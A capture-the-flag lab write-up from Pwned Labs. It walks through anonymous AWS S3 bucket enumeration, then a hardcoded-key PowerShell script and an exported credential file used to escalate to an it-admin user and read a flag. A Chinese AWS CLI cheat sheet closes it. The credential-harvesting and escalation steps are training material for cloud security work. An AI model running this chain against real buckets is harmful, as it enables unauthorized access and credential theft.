AWS S3 Enumeration Basics¶

Pwned Labs¶

Phase 1: Initial Reconnaissance¶

Website Analysis¶

Initial examination of the target website reveals no obvious vulnerabilities on the surface. However, analyzing the webpage source code reveals valuable information:

HTML

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Huge Logistics</title>
  <link rel="stylesheet" href="https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css">

</head>
<body>
<!-- partial:index.partial.html -->
<!--SHORTCUT ICONS-->
<link rel="shortcut icon" href="https://s3.amazonaws.com/dev.huge-logistics.com/static/favicon.png">

Key Discovery: The source code reveals an S3 bucket named dev.huge-logistics.com hosting static assets (.css file and favicon).

Direct Bucket Access Attempt¶

Next, we attempt to access the S3 bucket directly via the web interface:

URL: http://dev.huge-logistics.com.s3.amazonaws.com/

It will result in the following:

XML

<Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>SXM95CE6T4MP3C2A</RequestId>
<HostId>
AD8phGjCBWb2EF+3xaSFFTdzG/e9nMeE1X8VciIHjQSfHAK88GCFe8XsiwfrhdF78PDtYWjY13E=
</HostId>
</Error>

Phase 2: S3 Bucket Enumeration¶

AWS CLI Enumeration¶

While direct web access failed, let’s try using the AWS CLI with unsigned requests:

Bash

aws s3 ls s3://dev.huge-logistics.com --no-sign-request

Result:

Bash

                           PRE admin/
                           PRE migration-files/
                           PRE shared/
                           PRE static/
2023-10-16 13:00:47       5347 index.html

Success! The S3 bucket is publicly listable, revealing several directories and an index.html file.

Interesting Observation: The CLI command worked while the web interface didn’t. This suggests specific bucket policies that allow CLI operations but restrict web access.

Directory-by-Directory Enumeration¶

Recursive listing attempt:

Bash

aws s3 ls s3://dev.huge-logistics.com --no-sign-request --recursive
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Individual directory attempts:

Admin Directory:

Bash

aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Migration Files Directory:

Bash

aws s3 ls s3://dev.huge-logistics.com/migration-files/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Analysis: The admin/ and migration-files/ directories are protected and don’t allow anonymous public access.

Static Directory:

Bash

aws s3 ls s3://dev.huge-logistics.com/static/ --no-sign-request
2023-10-16 11:08:26          0 
2023-10-16 12:52:30      54451 logo.png
2023-10-16 12:52:30        183 script.js

Findings: Standard web assets (JS, PNG, CSS files). Worth noting for later analysis but not immediately critical.

Shared Directory:

Bash

aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 11:08:33          0 
2023-10-16 11:09:01        993 hl_migration_project.zip

Critical Discovery: A zip file named hl_migration_project.zip in the shared directory - this looks promising for credential extraction!

Phase 3: Credential Extraction¶

Downloading and Analyzing the Migration Project¶

Download the zip file:

Bash

aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip . --no-sign-request
download: s3://dev.huge-logistics.com/shared/hl_migration_project.zip to ./hl_migration_project.zip

Extract contents:

Bash

unzip hl_migration_project.zip
Archive:  hl_migration_project.zip
  inflating: migrate_secrets.ps1

Analyzing the PowerShell Script¶

View the extracted file:

Bash

cat migrate_secrets.ps1 
AWS Configuration
$accessKey = "AKIA****"
$secretKey = "MwGe****"
$region = "us-east-1"

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

# Set the AWS region
Set-DefaultAWSRegion -Region $region

# Read the secrets from export.xml
[xml]$xmlContent = Get-Content -Path "export.xml"

# Output log file
$logFile = "upload_log.txt"

# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
    $retries = 3
    while ($retries -gt 0) {
        try {
            $result = New-SECSecret -Name $secretName -SecretString $secretValue
            $logEntry = "Successfully uploaded secret: $secretName with ARN: $($result.ARN)"
            Write-Output $logEntry
            Add-Content -Path $logFile -Value $logEntry
            return $true
        } catch {
            $retries--
            Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"
        }
    }
    return $false
}

foreach ($secretNode in $xmlContent.Secrets.Secret) {
    # Implementing concurrency using jobs
    Start-Job -ScriptBlock {
        param($secretName, $secretValue)
        TryUploadSecret -secretName $secretName -secretValue $secretValue
    } -ArgumentList $secretNode.Name, $secretNode.Value
}

# Wait for all jobs to finish
$jobs = Get-Job
$jobs | Wait-Job

# Retrieve and display job results
$jobs | ForEach-Object {
    $result = Receive-Job -Job $_
    if (-not $result) {
        Write-Error "Failed to upload secret: $($_.Name) after multiple retries."
    }
    # Clean up the job
    Remove-Job -Job $_
}

Write-Output "Batch upload complete!"


# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force
# .\migrate_secrets.ps1%

Critical Information Extracted:

AWS Access Key: AKIA****
AWS Secret Key: MwGe****
Region: us-east-1

Additional Reconnaissance¶

Verify bucket region using curl:

Bash

curl -I https://s3.amazonaws.com/dev.huge-logistics.com/
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: BF392GRC64DMNJNF
x-amz-id-2: f7W+s1GmfDTmqS48Y8lcTvUI4TPgBe6qqYM0sB8Te0HxaWSd5NMUHOsI9+5iwUx3cYApoUAqqLc=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Sun, 14 Sep 2025 20:11:41 GMT
Server: AmazonS3

Confirmation: The x-amz-bucket-region header confirms the bucket is in us-east-1.

Phase 4: Credential Testing and Privilege Escalation¶

Configuring AWS Credentials¶

Set up the first credential profile:

Bash

aws configure --profile pl_s3
AWS Access Key ID [None]: AKIA****
AWS Secret Access Key [None]: MwGe****
Default region name [None]: us-east-1
Default output format [None]:

Verify credential validity:

Bash

aws sts get-caller-identity --profile pl_s3
{
    "UserId": "AKIA****",
    "Account": "794929857501",
    "Arn": "arn:aws:iam::794929857501:user/pam-test"
}

Identity Confirmed: User pam-test in AWS account 794929857501

Testing Access with Authenticated Credentials¶

Attempt to access admin directory:

Bash

aws s3 ls s3://dev.huge-logistics.com/admin/ --profile pl_s3
2023-10-16 11:08:38          0 
2024-12-02 09:57:44         32 flag.txt
2023-10-16 16:24:07       2425 website_transactions_export.csv

Target Located: The flag file is visible in the admin directory!

Attempt to retrieve the flag:

Bash

aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile pl_s3
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

Access Denied: The pam-test user can list the admin directory but cannot download files from it.

Exploring Migration Files Directory¶

Enumerate migration files:

Bash

aws s3 ls s3://dev.huge-logistics.com/migration-files/ --profile pl_s3
2023-10-16 11:08:47          0 
2023-10-16 11:09:26    1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 11:09:25    1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 11:09:27       1853 migrate_secrets.ps1
2023-10-16 14:00:13       2494 test-export.xml

Key Discovery: test-export.xml appears to contain exported credentials!

Download the credential export:

XML

aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml . --profile pl_s3
<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
    <!-- Oracle Database Credentials -->
    <CredentialEntry>
        <ServiceType>Oracle Database</ServiceType>
        <Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
        <Username>admin</Username>
        <Password>Pass****</Password>
        <Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
    </CredentialEntry>
    <!-- HP Server Credentials -->
    <CredentialEntry>
        <ServiceType>HP Server Cluster</ServiceType>
        <Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
        <Username>root</Username>
        <Password>Root****</Password>
        <Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
    </CredentialEntry>
    <!-- AWS Production Credentials -->
    <CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>7949****</AccountID>
        <AccessKeyID>AKIA****</AccessKeyID>
        <SecretAccessKey>t21E****</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
    <!-- Iron Mountain Backup Portal -->
    <CredentialEntry>
        <ServiceType>Iron Mountain Backup</ServiceType>
        <URL>https://backupportal.ironmountain.com</URL>
        <Username>hladmin</Username>
        <Password>HLPa****</Password>
        <Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
    </CredentialEntry>
    <!-- Office 365 Admin Account -->
    <CredentialEntry>
        <ServiceType>Office 365</ServiceType>
        <URL>https://admin.microsoft.com</URL>
        <Username>admin@company.onmicrosoft.com</Username>
        <Password>O365****</Password>
        <Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
    </CredentialEntry>
    <!-- Jira Admin Account -->
    <CredentialEntry>
        <ServiceType>Jira</ServiceType>
        <URL>https://hugelogistics.atlassian.net</URL>
        <Username>jira_admin</Username>
        <Password>Jira****</Password>
        <Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
    </CredentialEntry>
</CredentialsExport>

Privilege Escalation Opportunity: The XML contains AWS IT Admin credentials - significantly more privileged than the pam-test user!

Configuring Higher-Privilege Credentials¶

Set up the IT Admin profile:

Bash

aws configure --profile pl_s3_2
AWS Access Key ID [None]: AKIA****
AWS Secret Access Key [None]: t21E****
Default region name [None]: us-east-1
Default output format [None]:

Verify the new identity:

Bash

aws sts get-caller-identity --profile pl_s3_2
{
    "UserId": "AIDA****",
    "Account": "794929857501",
    "Arn": "arn:aws:iam::794929857501:user/it-admin"
}

Identity Escalated: Now operating as it-admin user with higher privileges!

Flag Capture¶

Attempt flag retrieval with admin credentials:

Bash

aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile pl_s3_2
download: s3://dev.huge-logistics.com/admin/flag.txt to ./flag.txt

Success! Read the flag:

Bash

cat flag.txt
a49f****

Useful AWS Cli Command¶

配置命令¶

Bash

aws configure

执行该命令后，会提示你输入 Access Key ID、Secret Access Key、默认区域（如 us-east-1）和默认输出格式（如 json）。这些信息可以在 AWS 控制台的 IAM 服务中获取。

Bash

aws configure list

通过这个命令，你可以查看当前的配置详情，确认是否配置正确。

基础操作命令¶

列出存储桶¶

Bash

# 列出本地的存储桶，执行后，会显示你的 AWS 账户下所有的 S3 存储桶名称以及创建时间。
aws s3 ls
# 列出远程的存储桶
aws s3 ls s3://dev.huge-logistics.com --no-sign-request

查看存储桶内容¶

Bash

aws s3 ls s3://bucket-name

创建和删除存储桶¶

Bash

# 创建存储桶
aws s3 mb s3://bucket-name
# 删除存储桶
aws s3 rb s3://bucket-name

需要注意的是，存储桶名称在全球范围内必须是唯一的，且要符合 S3 的命名规则（只能包含小写字母、数字、连字符，不能以连字符开头或结尾等）

如果存储桶不为空，需要先删除桶内的所有对象才能删除存储桶。若要强制删除非空存储桶，可以使用aws s3 rb s3://bucket-name --force命令

上传和下载对象¶

Bash

# 上传文件
aws s3 cp local-file-path s3://bucket-name/destination-path
# 下载文件
aws s3 cp s3://bucket-name/source-path local-destination-path
# 上传文件夹
aws s3 cp local-folder-path s3://bucket-name/destination-folder --recursive
# 下载文件夹
aws s3 cp s3://bucket-name/source-folder local-destination-folder --recursive

删除对象¶

Bash

# 删除单个文件
aws s3 rm s3://bucket-name/file-path
# 删除文件夹
aws s3 rm s3://bucket-name/folder-path --recursive

高级操作命令¶

同步操作¶

Bash

# 同步本地文件到存储桶
aws s3 sync local-folder-path s3://bucket-name/destination-folder
# 同步存储桶文件到本地
aws s3 sync s3://bucket-name/source-folder local-folder-path

该命令会比较本地文件夹和存储桶中文件夹的内容，只上传新增或修改的文件，保持两者同步

存储桶权限操作¶

Bash

# 查看存储桶权限
aws s3api get-bucket-acl --bucket bucket-name
# 设置存储桶权限
aws s3api put-bucket-acl --bucket bucket-name --acl acl-value

通过这个命令可以获取存储桶的访问控制列表（ACL），了解当前的权限设置

其中acl-value可以是private、public-read、public-read-write等，例如aws s3api put-bucket-acl --bucket my-bucket --acl public-read表示设置 my-bucket 为公开可读

其他操作¶

Bash

# 查看对象元数据
aws s3api head-object --bucket bucket-name --key object-key
# 存储桶间复制文件
aws s3 cp s3://source-bucket/source-key s3://destination-bucket/destination-key

使用技巧¶

利用--dryrun参数：在执行重要操作（如删除、同步）之前，可以加上--dryrun参数，它会显示命令执行后会发生的变化，但不会实际执行操作，帮助你检查命令是否正确。例如aws s3 rm s3://my-bucket/docs --recursive --dryrun
结合管道和其他命令：AWS CLI 命令的输出可以通过管道传递给其他命令进行处理，如aws s3 ls s3://my-bucket | grep "test"可以筛选出包含 “test” 的对象或目录
使用帮助命令：如果对某个命令不熟悉，可以使用aws s3 command --help查看详细的帮助信息，例如aws s3 cp --help